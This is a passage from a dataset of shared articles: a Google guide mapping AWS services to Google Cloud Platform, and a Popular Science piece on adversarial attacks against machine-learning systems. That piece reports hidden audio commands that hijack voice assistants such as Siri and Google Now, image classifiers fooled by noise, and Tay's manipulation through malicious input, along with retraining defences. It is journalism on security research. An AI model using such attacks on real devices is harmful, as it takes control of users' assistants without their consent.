implemented. Kantchelian says that he doesn't think the door is completely closed for any of these attacks, even with the promising research from the Google team. ""At least in computer security, unfortunately the attackers are always ahead of us,"" Kantchelian says. ""So it's going to be a little dangerous to say we solved all the problems of adversarial machine learning by retraining.""",en
1459367829,CONTENT SHARED,5619251370090681244,3891637997717104548,-910102441365544094,,,,HTML,https://cloud.google.com/docs/google-cloud-platform-for-aws-professionals,Google Cloud Platform for AWS Professionals,"This guide is designed to equip professionals who are familiar with Amazon Web Services (AWS) with the key concepts required to get started with Google Cloud Platform. The guide compares and contrasts Google Cloud Platform with AWS and highlights the key differences between the two. In addition, the guide serves as a quick reference guide that maps AWS products, concepts, terminology and scenarios to corresponding offerings on Google Cloud Platform. If you are a developer already familiar with AWS offerings such as Amazon Elastic Compute Cloud, Amazon Simple Storage Service, Amazon VPC and Amazon RDS, this guide will help you apply that knowledge as you get started with Google Cloud Platform. This guide doesn't attempt to compare the syntax and the semantics of using the SDK, API or the command line tools. General overview Google Cloud Platform When Google first made Google App Engine public in 2008, we had actually been running a very large cloud infrastructure for years-internally. For the past 15 years, Google has been building the fastest, most powerful, highest quality cloud infrastructure on the planet. We use this infrastructure to bring customers services like Gmail , Maps , YouTube , and Search . The size and scale of these services means we have a lot of experience running cloud infrastructure. Over time, we've learned what works and what doesn't work. With Google Cloud Platform, we are taking the cloud we made for ourselves and exposing it for you to use. Currently, Google Cloud Platform consists of a variety of services. Together, these services provide a comprehensive platform for application development and hosting. Regions and zones Nearly all AWS products are deployed within regions located around the world. These regions are collections of data centers in relatively close proximity to each other. Within the regions, there are 2 or more Availability Zones. These regions are spread across the world, in the United States, Europe, Asia, and Australia. These concepts translate quite easily to Google Cloud Platform, as there are also regions, with zones , across the globe-also in the United States, Europe, and Asia. The Cloud Platform regions are located in Iowa in the United States, Belgium in Europe, and in Taiwan in Asia. Some Google Cloud Platform services are not necessarily always located in specific regions, but can also be located in a continental locations. These services include Google App Engine and Google Cloud Storage. Currently, the continental locations available are United States, Europe, and Asia. Each AWS Region is isolated and independent of each other. This is by design so that the availability of one region doesn't affect any of the others, and so that services within regions remain independent of each other. The regions for Google Cloud Platform are similarly distinct from each other for availability reasons, but have functions that enable them to synchronize data across regions for various services. Both AWS and Google Cloud Platform have points of presence (POPs) located in many more locations around the world. These POP locations help cache content closer to end users. However, each platform uses these POP locations for different reasons on each platform. AWS provides a distinct content delivery network (CDN) service, CloudFront, via these POP locations. Google Cloud Platform integrates POP locations in multiple services-for example, Google App Engine and Google Cloud Storage-to improve edge caching for all of these services. In addition, these POPs connect to our data centers through Google-owned fiber, which often means that Google Cloud Platform-based applications can have faster and more reliable access than AWS, which often goes over public internet. Mapping AWS terms and concepts to Google Cloud Platform: Accounts, limits, and pricing To use any service from AWS, you must sign up for an AWS account. After you have completed this relatively straightforward process, you can launch any service under your account, within the default limits. Those services bill to your account and your account only. It is possible for AWS to create billing accounts and sub-accounts that roll up to them and see which account bills what. In this way many organizations can emulate a billing structure within their organization. Google Cloud Platform also requires you to sign up and create an account with a process very similar to AWS. With Cloud Platform, you use your Google Account. This could be a Gmail account, an account registered with your corporate e-mail address, or a single sign-on enabled corporate account. Unlike AWS, Google Cloud Platform does not group the services you use by account. Instead, services are grouped by project , and you must have at least one project under your account to use any Cloud Platform services. After that, the process is similar to AWS, in that you can create any resource under that project within the default limits of the account. This structure lets you create multiple projects under the same account that are wholly separate from each other. This is advantageous when you need to create separate divisions or groups within your company. You can even create a project just for testing and then delete the project-all the resources created by that project will be deleted as well. Both AWS and Google Cloud Platform have default soft limits on their services for new accounts. Soft limits differ from hard limits. Hard limits on a service are technical limits that can't be changed for an individual customer. They are either limits that could be changed by feature releases or are limits that are part of the nature of the service and won't change. Soft limits, on the other hand, are sensible as they can help prevent fraudulent accounts from creating resources they won't pay for, allow for management of cost, and limit risk. Soft limits also prevent new users who aren't as familiar with the platform from accidentally spending more than they intended until they fully understand the platform. Both providers have straightforward mechanisms to get in touch with the appropriate internal teams to raise the limits on their services. Finally, a note on pricing. We want this documentation to serve as a long term tool for users to use as a resource when exploring the Google Cloud Platform. When new features and services are introduced, by either Google or Amazon, we try to update our documentation to reflect those changes as soon as possible. However, pricing tends to change more often than core features or services. As such, we're going to try to avoid pricing specifics. This allows the document to stay useful, without having anachronistic pricing. We will, however, discuss the pricing model behind services wherever useful. If you're interested in seeing a cost comparison for a specific solution, we encourage you to make use of the pricing calculators provided by both AWS and Google Cloud Platform , so you can see what configuration provides the best value in terms of flexibility, scalability, and cost. Command line interface and console Both AWS and Google Cloud Platform provide a command line interface (CLI) for controlling and querying all the resources of their respective platforms. They both provide a unified CLI for all services, rather than making users install separate command line libraries for each service. These CLIs are available on Windows, Linux, and Mac OS X. Not only can they be used from the command line to control resources in the cloud platforms, they can be used to create scripts and inside applications to automate control and status checking of these platforms. One feature that many developers find useful with Google Cloud Platform is that you can access the CLI commands from any system that has a web browser by using Google Cloud Shell . Both AWS and Google Cloud Platform have robust web user interfaces that allow for easy management of all their services and the resources created by those services. These user interfaces give users the ability to create and manage resources with their mouse and visualize what their infrastructure is doing. While developers and system administrators might prefer the command line interface to the console, a web UI is generally more accessible to more people. The console for Google Cloud Platform is located at . Building-block services In general, developers and system operators use a platform based on fundamental services with additional, higher level, services built on top of them: Nearly all cloud providers follow this general pattern, which is why, at a high level, AWS and Google Cloud Platform share similar characteristics. The fundamental services for AWS and Google Cloud Platform are: Many, if not all, of the higher level services provided on a cloud platform are built on top of these services. These higher level services usually consist of: Application services. These are services designed to help optimize applications in the cloud. Examples include AWS SNS and Google Cloud Pub/Sub. Data services. These are services that help process large amounts of data, such as Amazon Kinesis and Google Cloud Dataflow. Management services. These include services that help you track the performance of an application, such as Amazon CloudWatch and Google Cloud Monitoring. While nearly all customer workloads can run on just the fundamental services, most benefit from using these higher level ones. AWS building-block services The fundamental AWS products are: Amazon Elastic Compute Cloud for virtual compute Amazon Simple Storage Service and Amazon Elastic Block Store for storage Amazon VPC for networking Amazon RDS and Amazon DynamoDB for databases Higher-level building block services are built on these fundamental services. These can range from a platform as a service (PaaS), such as AWS Elastic Beanstalk, to more abstract services, such as Amazon Kinesis. Google Cloud Platform building-block services The fundamental Google Cloud Platform services are: Google Compute Engine and Google App Engine for virtual compute Google Cloud Storage, which allows you to store large or unstructured data objects Google Cloud DNS and Google Cloud Interconnect for networking basics Google Cloud SQL, Google Cloud Datastore, and Google Cloud Bigtable for databases. Like AWS, Google Cloud Platform layers a number of higher-level services on top of these fundamental ones. Both AWS and Google Cloud Platform build other services on top of these fundamental ones. Some of these services, such as AWS CloudFormation and Google Cloud Deployment Manager , are designed to make it easier to create large, repeatable deployments. However, there are also other services that doesn't have a direct comparison between AWS and Google Cloud Platform. The following table provides a side-by-side comparison of building block services, application services, data services and management services on AWS and Google Cloud Platform. We will go into detail on each of these sections below. Compute Compute services can be considered the foundation of cloud platforms. Developers can choose computing capacity in the form of virtual machines, use pre-configured, managed execution environment available as PaaS, or deploy containerized applications that run on a managed cluster. Infrastructure as a service (IaaS) Infrastructure as a Service (IaaS) is a fundamental building block of cloud services. More than just virtual compute, which has existed for quite some time, IaaS gives users on-demand access to flexible compute power. Not surprisingly, the IaaS services offered by AWS and Google Cloud Platform are fundamental to each platform and almost every type of customer workload uses them. The IaaS service in AWS is called Amazon Elastic Compute Cloud. On Cloud Platform, it is called Google Compute Engine . Below we will go into the differences between these two services. Mapping Amazon Elastic Compute Cloud terms and concepts to Compute Engine: Virtual machines Both Elastic Compute Cloud and Google Compute Engine refer to virtual machines either as instances or virtual machines. On both platforms, you can create instances from stored images. You can launch instances quickly and terminate them on demand. After you access your instance, you have complete control over it and can do whatever you want. Each platform supports a number of instance types and operating systems you can use and you can tag your instances as well. AWS and Cloud Platform do differ in how you access your instances. With AWS, you must include your own SSH key if you want terminal access to the instance. With Cloud Platform, you can create the key only when you need it-even if your instance is already running. Cloud Platform also offers a way to establish an SSH connection to your instance directly from the web console, so there are no keys stored on the local machine. Additionally, you can always address instances by name within your private network due to the default internal DNS. (There are some differences in firewalls and networks, but we'll cover those sections separately.) Instance types Both Elastic Compute Cloud and Google Compute Engine have a standard list of instance configurations with certain amounts of virtual CPU, RAM, and network assigned to them. These configurations are referred to as Instance Types in Elastic Compute Cloud and Machine Types in Google Compute Engine. Additionally, Google Compute Engine allows you to customize your instance type to fit the workload that you need to run. The following table lists the instance types for both services. Note that both Elastic Compute Cloud and Google Compute Engine add new instance types regularly, so this list is not definitive. Instead, we recommend you check these sites for the latest information on instance types. * While these machine types don't exist as such on Google Compute Engine, attaching SSD local storage to a different machine types can accomplish the same thing. Google Compute Engine and AWS share many of the same families of instance types, such as standard, high memory, high CPU, and shared core. While Google does not have a category of instances that use SSD storage, all of the non-shared core families support the addition of local SSD disks. These disks are 375 GB in size, and you can add 4 of them to an instance. The ability to add SSD disks to these instances results in both Google and AWS having comparable instance families for SSD storage. Google Compute Engine does lack two specialized families: large magnetic storage and GPUs. Operating system support Both Elastic Compute Cloud and Google Compute Engine provide support for a variety of operating systems . On both platforms, any operating system that has a license costs you an additional fee. Operating systems supported by both platforms include: CentOS CoreOS Debian FreeBSD openSUSE Red Hat Enterprise Linux (Premium) SELinux SUSE (Premium) Ubuntu Windows Server 2008 R2, 2012 (Premium) Operating systems supported only by Elastic Compute Cloud: Amazon Linux Windows Server 2003 (Premium) Oracle Linux (Premium) Virtual machine templates Creating a new instance is similar for both Elastic Compute Cloud and Google Compute Engine. In general, the steps are: Choose an instance type. Select an image, which determines what operating system the instance uses. On Elastic Compute Cloud, instance images are called Amazon Machine Images, or AMIs. On Google Compute Engine they're called images. Both Elastic Compute Cloud and Google Compute Engine are similar enough that you can employ the same workflow for image creation on either platform. For example, both Elastic Compute Cloud AMIs and Google Compute Engine Images contain at an operating system. They also can contain other software, such as Web servers or databases. Both AWS and Google Compute Engine allow you to use images published by third party vendors, such as Microsoft, or custom images created for private use. Elastic Compute Cloud and Google Compute Engine do differ in how they store images. AMIs, for example, are stored either in Simple Storage Service or Elastic Block Store. This leads to differences in startup times (images stored on Simple Storage Service take longer to launch) and whether or not the instance requires Elastic Block Store. On Google Compute Engine, all images are stored on Persistent Disk, which is the equivalent service to Elastic Block Store. Also, all Google Compute Engine instances use Persistent Disk for the root volume; there is no option for a local, or ephemeral, disk. It is possible to export images to Google Cloud Storage (an object store service equivalent to Simple Storage Service), but they are not stored there. Also, you currently cannot publish images publicly, although you can export them to Google Cloud Storage and share them. This means any images you launch are either images you created or images created by an authorized software vendor, like Microsoft. One other difference between AMIs and images concern availability. With AWS, AMIs are available only within a specific region, while Google Compute Engine Images are always global. Temporary virtual machines Both Elastic Compute Cloud and Google Compute Engine have specialized types of instances that you can create. These instances are cheaper than standard instances. However, you can also lose them with little notice. In Elastic Compute Cloud these are called Spot Instances, and in Google Compute Engine they are called Preemptible Virtual Machines. Applications use instances like these when they have tasks that can be interrupted. They are also useful when an application can benefit from increased compute power but doesn't necessarily need it. Examples of these tasks include batch processing, rendering, testing, and many more. While the application of Spot Instances and Preemptible Virtual Machines are similar, their implementation is quite different. Spot Instances have two models. The first type, regular Spot Instances, are priced on a market, the Spot Market, and launch when a bid is accepted. Users can bid any amount on an instance type, from $0.01 up to many times the on-demand price of the instance. If that bid is the current highest bid, then an instance (or instances) is created in Elastic Compute Cloud. The instance runs either until you terminate it, someone else outbids you, or Elastic Compute Cloud requires it for fleet needs. Aside from these rules about termination and price, Spot Instances behave similarly to it on-demand Elastic Compute Cloud instances. They support any AMI, any instance type, and you have total control over the instance while it's running. The second kind of Spot Instances, Spot Blocks, have a fixed priced that is less than the regular on-demand rate. However, they can only run for a maximum of 6 hours at that fixed rate. Preemptible Virtual Machines have a fixed price-there is no market. The price is always the 70% of the on-demand rate. Unlike regular Spot Instances, Preemptible Virtual Machines run for as long as 24 hours and then are terminated, but you can always terminate them sooner. One final difference is that any OS that also includes a license fee will charge the full cost of the license while using that Preemptible Virtual Machine. Aside from these three key differences, like Spot Instances, Preemptible Virtual Machines behave just as normal instances. Firewall Based on software-defined networking, cloud infrastructure services like Amazon Elastic Compute Cloud and Google Compute Engine offer configurable, programmable firewall policies. These policies protect virtual machines and networks by selectively allowing and denying traffic. By default, both services block all incoming traffic from outside a network and require an ingress firewall rule for packets to reach an instance. This means that, if you want to allow incoming network traffic, you need to set up firewalls that permit connections to your instances. Each firewall has at least a single rule that determines what traffic is permitted into the network. Amazon Elastic Compute Cloud and Amazon Virtual Private Cloud use the concept of Security Groups and Network Access Control Lists (NACLs) to allow or deny incoming and outgoing traffic. Elastic Compute Cloud Security Groups secure instances in Elastic Compute Cloud Classic, while Amazon Virtual Private Cloud Security Groups and NACLs are used to secure both Elastic Compute Cloud instances and network subnets in an Amazon Virtual Private Cloud. Google Compute Engine uses a flat list of firewall rules to secure Google Compute Engine virtual machines and networks. You create a rule by specifying the source IP address range, protocol, ports, and optional tags that represent source and target groups of virtual machines. However, Google Compute Engine firewall rules can't block outbound traffic. To do that, you can use a different kind of technology, such as iptables . Scale-out Auto scaling brings elasticity to cloud deployments. Both Elastic Compute Cloud and Google Compute Engine support auto scaling. Auto Scaling helps maintain a specific number of virtual machines at any given point, or adjust capacity in response to certain conditions. These instances launch from a predefined template. Users create policies to define when Auto Scaling or the Autoscaler should scale up or down. Amazon's Auto Scaling creates groups of instances called, intuitively, Groups. Scaling activity is triggered by a Scaling Plan , which uses a Launch Configuration to determine what to launch when it needs to scale out. These groups and this configuration are combined into one feature called a Managed Instance Group within Google Compute Engine's Autoscaler. Scaling activity for Autoscaler is triggered by an Autoscaling Policy . You can set Auto Scaling to scale in one of three ways: Manual, where someone dictates to Auto Scaling that it must scale immediately. Scheduled, when Auto Scaling scales capacity based on time. Dynamic, when Auto Scaling scales based on a policy. The dynamic scaling policies can be based on any CloudWatch alarm or an SQS queue. Autoscaler only supports dynamic scaling and supports three policy types: Average CPU utilization Cloud Monitoring metric HTTP load balancing serving capacity, which can be based on either utilization or requests per second. Local attached storage Both Elastic Compute Cloud and Google Compute Engine give users the option of using a disk that is local to the virtual machine, as opposed to being network attached. Because they are closer to the machine, these local disks offer much faster transfer rates. However, these local disks are not redundant like Elastic Block Store or Persistent Disk. On Elastic Compute Cloud, local disks are called Ephemeral or Instance Store. They can be either HDD or SSD, depending on the instance type family. The number of disks and the size of these disks of Instance Store depends on the Instance Type and is not adjustable. On Google Compute Engine, local disks are called Local SSD. As the name implies, they are SSD only. The amount of disk you can attach is independent of the instance type, with the caveat that the shared core instance types (currently f1-micro and g1-small) don't support Local SSD. Like Instance Store, Local SSD is significantly faster than network attached storage. The size of the disks is fixed at 375 GB per disk and you can only attach four disks at once. A key difference between Instance Store and Local SSD is that Local SSD does have a cost associated with it. Virtual machine import Both AWS and Google Cloud Platform provide ways for you to import existing virtual machine images created on other platforms to their platform. This allows you to leverage your investment in your on-premises servers and avoids the overhead of having to repeat work already done. Elastic Compute Cloud accomplishes this with a service called VM Import/Export . It supports a number of virtual machine image types (Raw, OVA, VMDK and VHD). It also supports a number of operating systems: a variety of versions of Windows, Red Hat Enterprise Linux, CentOS, Ubuntu, and Debian. The process for importing involves running the command line tool, which bundles the virtual machine image and uploads it to Simple Storage Service, where it is then created as an AMI. You can import virtual machine images into Google Compute Engine, but the process does not have a formal name like VM Import/Export. The current supported virtual machine image types are Raw, VirtualBox, and AMI. The actual import process is similar, though less automated than the AWS process. To import an image, you need to convert it and make sure certain packages and drivers are installed. While this is more effort than Import/Export, it does leave you with more flexibility in importing images to Google Compute Engine. After the image has been converted, it is uploaded to Google Cloud Storage, where it is imported as an Image. Like AWS, there is no cost for this service, aside from the cost to store an image in Google Cloud Storage. Pricing model Elastic Compute Cloud and Google Compute Engine offer very similar pricing models. Both services only charge you for instances for the length of time that you use them. With Amazon Elastic Compute Cloud, each instance type has a cost per hour, called the on-demand rate. If you run that instance type for an hour, you are billed that amount. With Google Compute Engine, you are charged by the minute, rather than the hour. Google charges you for the first 10 minutes, and then by the minute as long as it's running. With both services, you can run your instance for as long as you want without ever having to talk to someone at Amazon or Google. AWS and Google Cloud Platform do have significant differences when it comes to customer discounts. Elastic Compute Cloud has three pricing options. The first two, on-demand and Spot Instances, are discussed above. The third is called Reserved Instances (RIs). RIs work by asking you to commit to a certain number of instances for either a one- or three- year commitment. In exchange, you receive a lower cost for those instances. You can choose to pay none of the term up front, some of it, or all of it. The more you pay up front, the greater the discount. You also get a larger discount if you choose a three-year term over a one-year term. With RIs, you trade resource flexibility for a lower instance price. Also, RIs are are tied a specific instance type and availability zone at purchase. You can only move availability zones and exchange RIs with different instance types in the same family. Google Compute Engine discounting works quite differently. Google Compute Engine automatically applies discounting to instances when they run for a certain amount of time each month, meaning you don't need a multi-year commitment to get the same or better discount. This is called a Sustained Use Discount. The longer you use an instance in a given month, the greater the discount. Sustained Use Discounts can net you as much as 30% off the standard on-demand rate. We also provide a calculator to help customers estimate what their workloads might cost. To get a sense of how these pricing structures differ, check out our TCO calculator . Networking services Networking services provide connectivity across virtual machines, servers deployed on-premises, and other cloud services. Common networking services such as DNS, VPN, load balancers, firewall, and routing are available through APIs. Network administrators use the console, command line interface and API to configure these services. In AWS, while networking is generally treated as a separate service, it is very much tied to Elastic Compute Cloud. This is because, with few exceptions, most services are deployed on instances, just as Amazon Elastic Compute Cloud. Amazon Relational Database Service, Amazon Redshift, Amazon Elastic MapReduce, for example, all deploy on instances. That means these services need to be aware of networking, so it's not just a part of the compute service. This is an important difference to Google, as we will discuss below. AWS has two different networking stacks. The oldest, Elastic Compute Cloud-Classic was introduced with Elastic Compute Cloud. Elastic Compute Cloud-Classic launches all instance types in to a public, shared network, where every instance has access to the internet and is assigned a public IP address. Virtual Private Cloud, or VPC, was introduced to allow networking administration more common to traditional data centers. It allowed for creating private, RFC 1918 address spaces, and included sub networking, network access control lists (NACLs), inbound and outbound firewall rules, routing, and VPN. These two network stacks, Elastic Compute Cloud-Classic and Elastic Compute Cloud-VPC have existed in parallel since VPC was launched. When Elastic Compute Cloud-VPC first launched, it was optional. In late 2013, Elastic Compute Cloud-VPC became the default behavior for new accounts where VPC would be the default network stack. Elastic Compute Cloud-Classic remains on option only for older AWS accounts. The differences between AWS networking and Google Cloud Platform networking are significant. This due to the nature of how these services were designed. Google Cloud Platform treats networking as something that spans all services, not just compute services. It is based on Google's Andromeda software-defined networking architecture, which allows for creating networking elements at any level with software. As a result, Cloud Platform can create a network that fits Google's needs exactly-for example, create secure firewalls for virtual machines in Google Compute Engine, allow for fast connections between database nodes in Cloud Bigtable, or deliver query results quickly in BigQuery. To create an instance in Google Compute Engine, you need a network. In Google Cloud Platform, we create a default network for you automatically, and you can create more as needed. Unlike AWS, there is no choice of a public network like Elastic Compute Cloud-Classic. In all cases, you create a private network, much like Elastic Compute Cloud-VPC. Unlike Elastic Compute Cloud-VPC, Google Networking does not have sub-networking, but it does have firewall rules, routing, and VPN. These prerequisites are not necessarily required for all Google Cloud Platform services. Google BigQuery , for example, does not require a network because it is a managed service. Most of the networking entities in Google Cloud Platform, such as load balancers, firewall rules and routing tables, have global scope. More importantly, networks themselves have a global scope. This means that you can create a single private IP space that is global, without having to connect multiple private networks, with the operational overhead of having to manage those spaces separately. Due to this single, global network, all of your instances are addressable within your network by both IP address and name. Another major difference between Google Cloud Platform networking and Elastic Compute Cloud-VPC is the concept of Live Migration . Under normal circumstances, all hardware in any data center, including those that Google uses, will eventually need either maintenance or replacement. Unforeseen circumstances can also cause hardware to fail in any number of ways. When these events happen at Google, Cloud Platform has the ability to transparently move virtual machines from affected hardware to hardware that is working normally. This is done without any interaction from the customer. IP addresses Assigning IP addresses to virtual machines is a critical task. There are a few important differences in how this works between AWS and Google Cloud Platform, and some difference in terminology that you should know. Here's how AWS IP terms and concepts map to Google Cloud Platform: When you create an instance in Elastic Compute Cloud-Classic, your instance is given an external IP address that is only valid as long as that machine is running. This is referred to as an ephemeral IP. It is also given an internal network IP. At any point you can create and Elastic IP and assign it to the instance. This is much the same for Elastic Compute Cloud-VPC, except it is optional to have an external IP assigned to a new instance. In Google Cloud Platform, IP addresses work in a way that is similar to Elastic Compute Cloud-VPC. At launch, all instances have an internal IP. You can optionally request an external IP that only exists for as long as that instance is running. Additionally, you can request a permanent IP address to attach an instance. Like an Elastic IP, this IP address is yours until you choose to release it. One difference between AWS and Google is that you can take an ephemeral IP address and promote it to a static IP address, thereby attaching it to your account. Load balancing Load balancers distribute incoming traffic across multiple virtual machines. When configured appropriately, load balancers make applications fault tolerant and increase application availability. Here's how Elastic Load Balancer terms and concepts to map Google Compute Engine Load Balancer : The AWS Elastic Load Balancer (ELB) allows you to direct traffic to your instances within at least one and as many as all availability zones in a particular region. The ELB checks the health of the instances and, should any of them become unhealthy, stops sending traffic to that instance. It can also integrate with AWS's Auto Scaling service such that when instances are created or terminated by Auto Scaling, the Elastic Load Balancer is made aware of the change automatically. When an Elastic Load Balancer is created, you are given a CNAME which you can use to point traffic to. Provided that you are using Amazon's Route 53 , you can use Elastic Load Balancer as a root domain. Otherwise, you have to use a CNAME for the Elastic Load Balancer. The Google Compute Engine Load Balancer also directs traffic to back end instances in as many zones as you choose. However, there are a few important differences between how they work from this point on: Google Compute Engine lets you pick whether you need a Network (Layer 4) Load Balancer, which balances TCP traffic within a region, or an HTTP(S) (Layer 7) Load Balancer, which can can balance traffic globally. When you provision a Google Compute Engine Load Balancer, it returns a single, globally accessible IP address. This IP address can be used for the lifetime of the Load Balancer, so it can be used for DNS A Records, whitelisting, or configurations in applications. Scaling pattern Elastic Load Balancer scales up and down in response to traffic. The more traffic that goes through the Elastic Load Balancer, the more capacity it adds. The reverse is also true-the less traffic arrives, the more capacity the Elastic Load Balancer removes. The way Elastic Load Balancer changes capacity is either by changing the size of the load balancing resources (such as adding larger load balancers to meet increased load) or by changing the number of load balancing resources (such as reducing the number of load balancers when traffic goes down) as described here . Elastic Load Balancer does not scale instantly-it can take anywhere from one to seven minutes for the Elastic Load Balancer to respond to changes in traffic. If you expect a sudden spike in traffic, you must request that AWS pre-warm your Elastic Load Balancer to a certain traffic level. The Google Compute Engine Load Balancer also responds to traffic by scaling up or down the amount of capacity necessary to meet the traffic being passed through it. However, it responds in real time to the traffic, without a delay or pre-warming. Pricing model Both AWS and Google Cloud Platform load balancing services use the same pricing model. Each charges an hourly rate for the load balancer and a separate rate for the amount of traffic that passes through the load balancer. Peering A peering service allows customers to connect to a cloud service directly over a network. How this is done depends on the type of service. Here's how AWS peering terms and concepts map to Google Cloud Platform: Virtual private network Creating a virtual private network, or VPN, from one location to another allows you to create a secured, private link between two networks over the public internet. Both AWS and Google Cloud Platform offer this as a service. The process for creating a VPN is very similar. At a high level, VPN gateways at both ends create tunnels from their public IP address to one other public IP address, and establish a secure connection over it. Carrier peering There are circumstances when connecting to a cloud platform over a VPN doesn't provide the speed or security required by a particular workload. In such cases it is beneficial to have leased network line at guaranteed capacity level. Both Amazon and Google offer this service in conjunction with partners. At AWS, Direct Connect allows you to create a private leased line to AWS from a partner carrier facility. These facilities will allow you to connect a private line, at a certain capacity level, into a certain region. Each partner location services a specific region. At Google, Carrier Interconnect also allows you to create a private leased line into the Google Cloud Platform from a partner facility. These facilities allow you to connect a private line to a certain capacity level. The major difference is that Carrier Interconnect connects your traffic into the global Google Cloud Platform network, not a particular region. Direct peering Direct peering is similar to Carrier Peering in that you may want a private, dedicated line from your facility to the cloud. The difference is that you would be connecting directly to the cloud provider, not via a third party partner. Otherwise, the mechanism is quite similar. Amazon does not offer this service; Google does. Content delivery network (CDN) peering Content delivery network (CDN) peering is conceptually similar to carrier peering. In this case, instead of peering between your facility and a cloud provider, you are connecting between your resources in the cloud and a CDN. This is done from the edge locations of the cloud to the CDN. Google offers this service through CDN Interconnect . Amazon only offers this service through its own CDN service, Cloudfront. Pricing AWS and Google Cloud Platform charge for VPN services the same way, at an hourly rate. Pricing for the carrier peering services has two components. The first component is the pricing from the partner for the leased line. This is generally outside of the control of each platform. The second component is the pricing for the cloud services. Here, AWS and Google Cloud Platform handle pricing differently. AWS charges by the amount of capacity you have provisioned with your partner. For example, there's a charge for a 1G port speed, per hour, and more for 10G, and so on. Conversely, Google does not charge for this service. In addition, Google does not charge for direct peering. With Carrier Peering, you have two pricing components for CDN peering. The first pricing component is set by the partner. AWS also charges an additional amount based on the amount of capacity you have provisioned. As with carrier peering, Google does not charge for CDN Interconnect. DNS DNS translates human readable domain names into numeric IP addresses that servers use to connect with each other. Managed DNS services such as Amazon Route 53 and Google Cloud DNS offer scalable managed DNS service in the cloud. Here's how Amazon Route 53 features map to Google Cloud DNS: * Route 53 is a domain reseller for Gandi. ** You can use Google Domains to purchase domains from Google. The Domain Name System, DNS, has been around for nearly as long as the Internet has. It has a relatively simple feature set that allows many of the things that we do every day to work easily. With that in mind, there are not many complicated features to Route 53 or Cloud DNS, and the two are very close in terms of feature parity. Both Route 53 and Cloud DNS support nearly all records types, anycast-based serving, and connect to services that allow you to register domains. Amazon is a reseller of the registrar Gandi. Google has a separate registrar service, Google Domains . Neither service supports Domain Name System Security Extensions (DNSSEC) . Route 53 does support two kinds of routing that Cloud DNS does not: geography-based routing and latency-based routing. Geography-based routing lets you restrict your content to certain geographic regions of the world. Latency-based routing lets you direct traffic based on the latency measured by the DNS service. Pricing Both services price based on two similar parameters. First, the price on the number of zones hosted per month by the service. The second is for the number of queries per month. Route 53 charges a higher rate for either geographic based routing or latency based routing queries.",en
1459367885,CONTENT SHARED,7420742904084384944,-1443636648652872475,8209530310193218854,,,,HTML,http://www.popsci.com/byzantine-science-deceiving-artificial-intelligence,Fooling The Machine,"Two groups, one at Berkeley University and another at Georgetown University, have successfully developed algorithms that can issue speech commands for digital personal assistants, like Siri and Google Now, in the form of bursts of sound unrecognizable to human ears. To a human, these commands just sound like random white noise, but they could be used to tell a voice-activated assistant like Amazon's Alexa to do things that its owner never intended. Nicholas Carlini, one of the Byzantine audio researchers, says that their tests have been able to activate open source audio recognizers, Siri, and Google Now in their tests, with accuracy on all three more than 90 percent. The noise sounds like a science-fiction alien transmission. It's a garbled mix of white noise and human voice, but certainly unrecognizable as a command. With this attack, any phone that hears the noise (they have to specifically target iOS or Android) could be unknowingly forced to visit a webpage that plays the noise, and thus infect other phones near it, Carlini says. In that same scenario, the webpage could also silently download malware onto the device. There's also the possibility these noises could be played over the radio, hidden in white noise or background audio. These attacks can happen because the machine is trained to think that there's readable or important data in almost every input, and also that some things are more common than others, says Goodfellow. It's easier to fool the network into thinking it's seeing a common object, because it thinks that it should be seeing it more commonly. That's why Goodfellow and a separate group at University of Wyoming are able to make the network classify images when there's nothing there, by making it identify white noise, randomly generated black and white imagery. In Goodfellow's research, random white noise he put through the network was most often classified as a horse. This coincidentally brings us back to Clever Hans, our not so mathematically-gifted horse from earlier. Much like Clever Hans, Goodfellow says these neural networks aren't really learning certain ideas, but just how to recognize when they finds the right idea. The distinction is slight, but important. This lack of foundational knowledge makes it easy to maliciously recreate the experience of finding the ""right"" outcome for the algorithm, which is actually a false answer. To understand what is, the machine also must understand what is not. Goodfellow found that when he trained his image classifying networks with both the natural images, and the doctored images (specifying that they were fake), he not only could reduce the efficiency of the attack by more than 90 percent, but the network was better at its original task. ""When you start forcing them to explain the really unusual adversarial examples, it might come up with a even more robust explanation of what the underlying concepts are,"" Goodfellow says. The two audio groups have also used the same approach as the Google researchers to patch language recognition systems against their own attacks, by retraining their networks. They've achieved similar levels of success, with more than 90 percent reduction in attack efficiency. ""It's probably fairly easy for an adversary to fool us, to deceive us. Some of that may be benign, some of that may not be."" It's no surprise that this area of research has garnered interest from the United States military. In fact, the Army Research Laboratory actually sponsored at least two of the most recent papers, including the black box attack. While the Army Lab is proactive in funding research, this doesn't mean the tech is in active development for use in warfare. According to a spokesperson, research usually takes upwards of 10 years to make its way into soldier's hands. Ananthram Swami, a researcher with the U.S. Army Research Laboratory, has had varying levels of participation in recent papers concerning adversarial attacks. The Army's interest lies in the detection and stopping of purposefully deceptive data, in an age where not all sources of information can be vetted properly. Swami points to the bevy of data accessible from public sensors placed by universities and open source projects. ""We don't necessarily control all that data. It's probably fairly easy for an adversary to fool us, to deceive us,"" Swami said. ""Some of that may be benign, some of that may not be."" He also says that as the Army has a vested interest in autonomous robots, tanks, and other vehicles, so this research is obvious. By studying this now, the Army would have a headstart for systems in the field that were immune to potential adversarial attacks. But any group in that uses deep neural networks, which is a quickly growing faction, should have concerns about the potential of adversarial attacks. While machine learning and artificial intelligence systems are still in their infancy, we're at a dangerous time where security oversights can have drastic results. Many companies are placing highly volatile information in the hands of artificially intelligent systems, which have not endured the scrutiny of time. Our neural networks are simply too young for us to know everything about them. A similar oversight led to Tay, Microsoft's Twitter chatbot that quickly turned into a genocidal racist. A torrent of malicious data, and a foreseeably terrible ""repeat after me"" function, led Tay to deviate wildly from her original programming. The bot was hijacked by bad training data from the wild, and serves as a handy example for what can happen when machine learning is poorly implemented. Kantchelian says that he doesn't think the door is completely closed for any of these attacks, even with the promising research from the Google team. ""At least in computer security, unfortunately the attackers are always ahead of us,"" Kantchelian says. ""So it's going to be a little dangerous to say we solved all the problems of adversarial machine learning by retraining.""",en
